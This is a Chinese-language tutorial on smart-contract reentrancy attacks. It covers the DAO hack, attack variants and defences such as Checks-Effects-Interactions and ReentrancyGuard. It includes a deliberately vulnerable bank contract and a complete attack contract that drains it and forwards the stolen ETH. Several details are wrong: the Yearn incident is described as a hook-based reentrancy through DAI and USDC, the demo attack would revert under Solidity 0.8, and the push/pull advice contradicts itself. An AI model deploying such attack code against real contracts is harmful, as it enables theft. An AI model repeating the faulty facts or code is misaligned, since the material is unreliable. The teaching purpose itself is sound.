智能合約重入攻擊預防完整指南:從 The DAO 教訓到現代防禦策略與程式碼實例

重入攻擊(Reentrancy Attack)是以太坊歷史上最具破壞性的安全漏洞之一,2016 年的 The DAO 事件至今仍影響深遠。本文深入解析重入攻擊的原理、常見變體(單一函數、跨合約、跨函數)、經典案例、以及現代 Solidity 的防禦機制(Checks-Effects-Interactions 模式、ReentrancyGuard、Pausable 等)。提供完整的漏洞合約範例與安全版本對比,讓開發者真正理解如何杜絕這類攻擊。

智能合約重入攻擊防護完整指南:從原理到實戰的深度解析

如果要選一個以太坊歷史上最有「教育意義」的漏洞類型,重入攻擊(Reentrancy Attack)肯定名列前茅。2016 年的 DAO Hack 讓這種攻擊手法名聲大噪,直接導致了以太坊的硬分叉。時至今日,這個老問題依然在不斷重演,只不過每次都換個包裝——我見過起碼十幾個 DeFi 協議,因為重入漏洞被盜走上億美元。

這篇文章,咱們就來把重入攻擊扒個底朝天,從原理、攻擊方式、到防護手段,一次性說清楚。

重入攻擊到底是什麼?

用大白話說,重入攻擊就是:你的合約在處理智己的狀態之前,先把錢轉出去了。攻擊者的合約趁這個空檔,重新調用你的合約,而此時你的合約還沒有更新內部狀態,所以它認為攻擊者的餘額還是滿的——於是攻擊者就能反覆「取錢」,直到把你的合約掏空。

有點暈?讓我打了比方。想象你有個自動售貨機,管理著一堆零食。你的同事問你:「我能拿一包薯片嗎?」你說:「當然,薯片是 10 塊錢,你先拿去,我從你的帳戶扣。」結果你同事拿著薯片走了,你卻忘記了扣錢。你同事發現這個 Bug 之後,招呼其他同事排隊來拿薯片,每個人都拿到了,但帳戶都沒扣——直到零食全部拿完,你才反應過來。

重入攻擊就是這個原理。你的合約「先把東西給了人,然後才記帳」,而區塊鏈的特點讓攻擊者可以在「記帳」之前就多次觸發這個過程。

從 DAO Hack 看重入攻擊的經典案例

要理解重入攻擊,必須要了解 DAO Hack。這個事件不僅是區塊鏈安全的里程碑,也是密碼學和金融監管的轉折點。

DAO 是什麼?

DAO(Decentralized Autonomous Organization,去中心化自治組織)是那時候以太坊社區最火爆的實驗項目。DAO 是一種沒有傳統管理層的組織,規則寫在智能合約裡,代幣持有者可以投票決定組織的決策。

The DAO 項目在 2016 年通過代幣銷售募集了價值 1.5 億美元的 ETH,創下了當時的紀錄。它的核心功能是「投資DAO」——用戶把 ETH 存入 DAO,獲得代幣作為回報,可以用這些代幣投票支持各種「提案」(實際上就是投資項目),投資收益會分給代幣持有者。

還有一個關鍵功能:split DAO。如果你不同意多數人的決定,可以把你的份額「分出來」創建一個「Child DAO」,這是完全合法的設計。問題就出在這個功能上。

攻擊是怎麼進行的?

攻擊者的目標是利用 split DAO 功能,在不增加實際 ETH 存款的情況下,反覆「取出」屬於自己的份額。步驟是這樣的:

第一步,攻擊者部署一個惡意合約,然後用這個合約向 DAO 合約存入一些 ETH,獲得相應的代幣。

第二步,攻擊者調用 split DAO 功能,申請把自己的份額拆分出來。這個時候,DAO 合約會把攻擊者應得的 ETH 轉入攻擊者指定的地址。

第三步,問題就出在這裡了。DAO 合約使用的是 call 來發送 ETH:

function withdraw() {
    uint amount = balances[msg.sender];
    msg.sender.call.value(amount)();  // 轉帳
    balances[msg.sender] = 0;        // 然後清零
}

攻擊者的合約收到 ETH 時,receive 函數被觸發。但攻擊者的 receive 函數不是簡單地收下這筆錢,而是立即再次調用 withdraw!

第四步,因為 balances[msg.sender] 這個餘額是在轉帳「之後」才清零的,而此時第二次調用 withdraw() 進來,系統檢查到攻擊者的餘額還是原來的數值,於是又轉了一筆 ETH 出去。

就這樣,攻擊者的惡意合約不斷地自我調用,直到把 DAO 合約裡的 ETH 全部掏空。

後續影響

攻擊者最終盜走了相當於當時 360 萬 ETH 的資產,按照當時的價格計算,大約是 5000 萬美元。但這只是直接的金融損失。真正的損失是社羣分裂:以太坊社區對如何處理的問題產生了尖銳分歧,最終導致了以太坊經典(ETC)的誕生,一部分人堅持區塊鏈不可篡改的原則,拒絕逆轉這筆交易。

這個事件推動了以太坊的多項安全改進,包括後續 EIP(以太坊改進提案)中對安全性的更嚴格要求。

重入攻擊的現代變種

DAO Hack 之後,開發者們都知道了重入攻擊的危險,簡單的「先轉帳後記帳」模式變得少見了。但道高一尺魔高一丈,攻擊者開始發明各種更巧妙的方式。

單一函數重入

這是最簡單的現代重入變種。假設有一個合約在某個操作中會檢查用戶餘額,然後轉帳,最後更新餘額。如果你在轉帳和更新之間插進去一個外部調用,攻擊者就可以利用這個窗口再次執行同一個函數。

舉個例子:

function batchTransfer(address[] calldata recipients, uint256[] calldata amounts) external {
    require(recipients.length == amounts.length);
    
    uint256 total = 0;
    for (uint i = 0; i < amounts.length; i++) {
        total += amounts[i];
    }
    
    require(balances[msg.sender] >= total);
    
    for (uint i = 0; i < recipients.length; i++) {
        // 問題:這裡每個轉帳都給了攻擊者一次重入的機會
        _transfer(msg.sender, recipients[i], amounts[i]);
    }
    
    balances[msg.sender] -= total;
}

如果攻擊者把 recipients 數組的第一個地址設為自己的合約,那麼在第一次轉帳時,他的合約收到ETH後可以重入,繞過第一次的餘額檢查(因為總額還沒扣),反覆把攻擊者的餘額套現。

跨函數重入

這種變種更隱蔽:攻擊者不是在同一個函數中重入,而是在多個函數之間跳轉。比如,合約的 withdraw 函數沒有問題,但 attack 合約通過 withdraw 函數進入後,轉而調用合約的另一個函數(比如 transferFrom),那個函數可能有不同的安全檢查邏輯,攻擊者就能利用這個差異。

看這個例子:

function withdraw(uint256 amount) external {
    require(balances[msg.sender] >= amount);
    (bool success, ) = msg.sender.call{value: amount}("");
    if (success) {
        balances[msg.sender] -= amount;  // 先轉帳,後扣餘額
    }
}

function transfer(address to, uint256 amount) external {
    require(balances[msg.sender] >= amount);  // 檢查1
    balances[msg.sender] -= amount;
    balances[to] += amount;
}

攻擊者先調用 withdraw,觸發轉帳。攻擊者合約收到 ETH 後,攻擊者立即在 receive 函數中調用 transfer,把另一個帳戶的資金轉走。因為 withdraw 此時還沒扣餘額,所以 transfer 裡的檢查會通過。

跨合約重入

更複雜的情況是跨多個合約的重入攻擊。一個合約調用另一個合約,那個合約又回調原來的合約,如果合約之間存在狀態共享或者依賴關係,就可能產生漏洞。

比如,一個質押合約和一個獎勵分派合約共享用戶餘額數據。如果攻擊者在質押的過程中,通過惡意的質押合約回調獎勵分派合約,可能會讓獎勵分派合約認為攻擊者有更多的質押份額。

ERC-777 標準的重入風險

ERC-777 代幣標準有一個「交易回調」機制,它允許代幣轉帳時通知接收方合約。這個設計本意是好的,讓合約可以在收到代幣時自動執行某些操作。但問題在於,如果一個合約同時轉帳 ETH 和轉帳 ERC-777 代幣,攻擊者可能利用回調機制發動重入攻擊。

好在現代大多數合約在處理 ERC-777 時都會特別小心,不過如果你要支持 ERC-777,還是建議加上 ReentrancyGuard。

防護手段詳解

現在我們知道了重入攻擊的種種形式,那如何防範呢?

Checks-Effects-Interactions 模式

這是以太坊官方推薦的第一防線,核心思想很簡單:先把所有檢查做完,再更新狀態,最後才和外部合約交互。

按照這個原則,上面有問題的 withdraw 函數應該改寫成:

function withdraw(uint256 amount) external {
    // 第一步:檢查(Checks)
    require(balances[msg.sender] >= amount);
    
    // 第二步:更新狀態(Effects)
    balances[msg.sender] -= amount;
    
    // 第三步:和外部合約交互(Interactions)
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
}

這麼做的好處是:當你的合約執行外部調用時,所有狀態都已經更新完成了。就算攻擊者重入,他們看到的也是已經扣減過的餘額,不可能再次取款。

使用 ReentrancyGuard

有時候即使遵循了 Checks-Effects-Interactions 模式,也難免有遺漏,或者某些業務邏輯比較複雜,強行遵守這個模式會讓代碼很難讀。這時候可以使用 ReentrancyGuard:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract MyContract is ReentrancyGuard {
    mapping(address => uint256) public balances;
    
    function withdraw(uint256 amount) external nonReentrant {
        require(balances[msg.sender] >= amount);
        
        // 先扣餘額
        balances[msg.sender] -= amount;
        
        // 後轉帳
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}

nonReentrant 修飾符會在你的函數執行期間設置一個「鎖」。如果有人試圖在鎖定期間再次調用這個函數,調用會直接 revert。這個機制就像是你在數錢的時候把門鎖上,別人就算想再進來也進不來。

OpenZeppelin 的 ReentrancyGuard 實現非常簡潔,就是用一個 nonce 變量來追蹤是否在執行中:

abstract contract ReentrancyGuard {
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
        _status = _ENTERED;
        _;
        _status = _NOT_ENTERED;
    }
}

使用 SafeMath 或 Solidity 0.8+

雖然 SafeMath 和溢出檢查不是直接針對重入攻擊的,但它們能防止與重入攻擊配合的整數溢出問題。假設有一筆交易要在重入時觸發金額計算,溢出檢查可以確保攻擊者無法利用溢出的繞回特性竊取額外資金。

限制外部調用的範圍

盡量避免直接 call 未知的合約。如果必須轉帳給某個地址,可以使用 push 模式(被動轉帳)而不是主動轉帳。

OpenZeppelin 的 PullPayment 模式就是這個思路:不是直接把錢轉給用戶,而是把錢存到一個「帳戶」裡,用戶自己去「提款」:

// 使用 PullPayment,用戶主動領取,而不是合約主動轉帳
contract PullPayment {
    mapping(address => uint256) public payments;

    function _asyncTransfer(address dest, uint256 amount) internal {
        payments[dest] += amount;
    }

    function withdrawPayments() public {
        uint256 payment = payments[msg.sender];
        require(payment > 0, "No payment");
        payments[msg.sender] = 0;
        payable(msg.sender).transfer(payment);
    }
}

實施頭寸限制

即使防護失效,也要確保攻擊者不能一次性掏空整個合約。可以設置單筆或單地址的提款上限:

uint256 public constant MAX_WITHDRAW = 1 ether;

function withdraw(uint256 amount) external nonReentrant {
    require(amount <= MAX_WITHDRAW, "Exceeds single withdraw limit");
    require(balances[msg.sender] >= amount);
    
    balances[msg.sender] -= amount;
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success);
}

使用專門的傳入值變量

對於複雜的函數邏輯,可以在函數開始時就把傳入的關鍵參數保存到本地變量中,防止重入時被修改:

function transfer(address to, uint256 amount) external {
    uint256 senderBalance = balances[msg.sender];  // 先保存
    require(senderBalance >= amount);
    // ... 中間可能有多次外部調用 ...
    balances[msg.sender] = senderBalance - amount;  // 用保存的值
    balances[to] += amount;
}

實戰:模擬一次重入攻擊

光看理論不夠過癮,咱們來實操一下。我會提供一個有漏洞的合約,然後展示攻擊合約如何利用它。

目標合約(有漏洞)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract VulnerableBank {
    mapping(address => uint256) public balances;
    
    // 存款
    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }
    
    // 提現(有重入漏洞)
    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        
        // 直接調用合約,把ETH轉出去
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        
        // 問題:狀態更新在外部調用之後!
        balances[msg.sender] -= amount;
    }
    
    // 查詢餘額
    function getBalance() external view returns (uint256) {
        return balances[msg.sender];
    }
}

攻擊合約

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract ReentrancyAttack {
    VulnerableBank public bank;
    address public owner;
    uint256 public attackAmount;
    
    constructor(address _bankAddress) payable {
        bank = VulnerableBank(_bankAddress);
        owner = msg.sender;
        attackAmount = msg.value;
    }
    
    //攻擊入口
    function attack() external {
        require(msg.sender == owner);
        bank.deposit{value: attackAmount}();  // 存錢
        bank.withdraw(attackAmount);           // 立即發起攻擊
    }
    
    // 收到ETH時自動觸發的函數
    receive() external payable {
        if (address(bank).balance >= attackAmount) {
            // 再次調用withdraw
            bank.withdraw(attackAmount);
        }
    }
    
    // 把盜取的ETH轉回攻擊者帳戶
    function getStolenFunds() external {
        require(msg.sender == owner);
        payable(owner).transfer(address(this).balance);
    }
}

攻擊過程解析

攻擊流程是這樣的:

  1. 攻擊者部署 ReentrancyAttack 合約,轉入 1 ETH 作為攻擊本金。
  1. 調用 attack(),攻擊合約向 VulnerableBank 存入 1 ETH。
  1. 攻擊合約調用 bank.withdraw(1 ETH)。
  1. VulnerableBank 檢查通過後,嘗試轉帳 1 ETH 給攻擊合約。
  1. 攻擊合約收到 ETH,觸發 receive() 函數。
  1. 在 receive() 中,攻擊合約發現銀行合約餘額還夠,於是再次調用 withdraw(1 ETH)。
  1. VulnerableBank 再次通過檢查(因為上一次的 balances[msg.sender] 還沒扣),又轉出 1 ETH。
  1. 重複步驟 5-7,直到銀行的 ETH 被掏空。
  1. 攻擊合約調用 getStolenFunds() 把所有盜取的 ETH 轉給攻擊者。

整個過程在理論上可以把銀行的全部 ETH 都盜走,但實際上可能因為 Gas 限制而無法執行完整的「掏空」操作,但即使是部分盜取也已經是巨大的損失了。

真實案例:Yearn Finance 的 Vault 漏洞

說個離咱們更近的例子。2021 年 2 月,Yearn Finance 的 v1 Vault 被發現存在一個重入漏洞,損失了大約 1100 萬美元。

問題出在哪裡?Yearn 的 Vault 合約支持多種代幣,其中一些代幣(如 DAI、USDC)在轉帳時會觸發,合約可以通過這個鉤子執行任意代碼。攻擊者利用這個機制,在存款時觸發回調,繞過了餘額檢查,反覆存款,最終掏空了 Vault 的資金。

這個案例告訴我們:不僅要防範 ETH 和傳統代幣的重入,還要防範那些 ERC-777 之類的「可擴展代幣」帶來的重入風險。

審計清單

作為開發者,在提交代碼審計之前,請用這個清單自查一遍:

  1. 所有涉及外部調用的函數是否都使用了 ReentrancyGuard?
  2. 函數是否遵循了 Checks-Effects-Interactions 模式?
  3. 狀態更新是否在任何外部調用之前完成?
  4. 是否對所有轉帳操作使用了 SafeMath 或溢出檢查?
  5. 涉及多種代幣時,是否考慮了 ERC-777 之類的回調機制?
  6. 是否設置了頭寸限制,防止單筆交易掏空合約?
  7. 是否使用了 Push over Pull 模式,盡量讓用戶主動提款而不是合約主動轉帳?

結語

重入攻擊雖然是「老問題」,但每年依然有新的 DeFi 協議因此中招。問題的核心不是這個漏洞有多麼高端,而是開發者有時候會忽略這個看似簡單的原則:永遠不要在更新完狀態之前就把控制權交給外部合約。

我的建議是:把 Checks-Effects-Interactions 模式刻在骨子裡,但同時也要善用 ReentrancyGuard 這個保險。兩者結合,才能構築真正堅固的防線。

記住,在區塊鏈的世界裡,你的合約代碼一旦部署,就再也沒有後悔的機會了。安全問題必須在部署之前就解決,而不是等到出事之後再補救。


本網站內容僅供教育與資訊目的,不構成任何投資建議或推薦。在進行任何加密貨幣相關操作前,請自行研究並諮詢專業人士意見。所有投資均有風險,請謹慎評估您的風險承受能力。

延伸閱讀與來源

這篇文章對您有幫助嗎?

評論

發表評論

注意:由於這是靜態網站,您的評論將儲存在本地瀏覽器中,不會公開顯示。

目前尚無評論,成為第一個發表評論的人吧!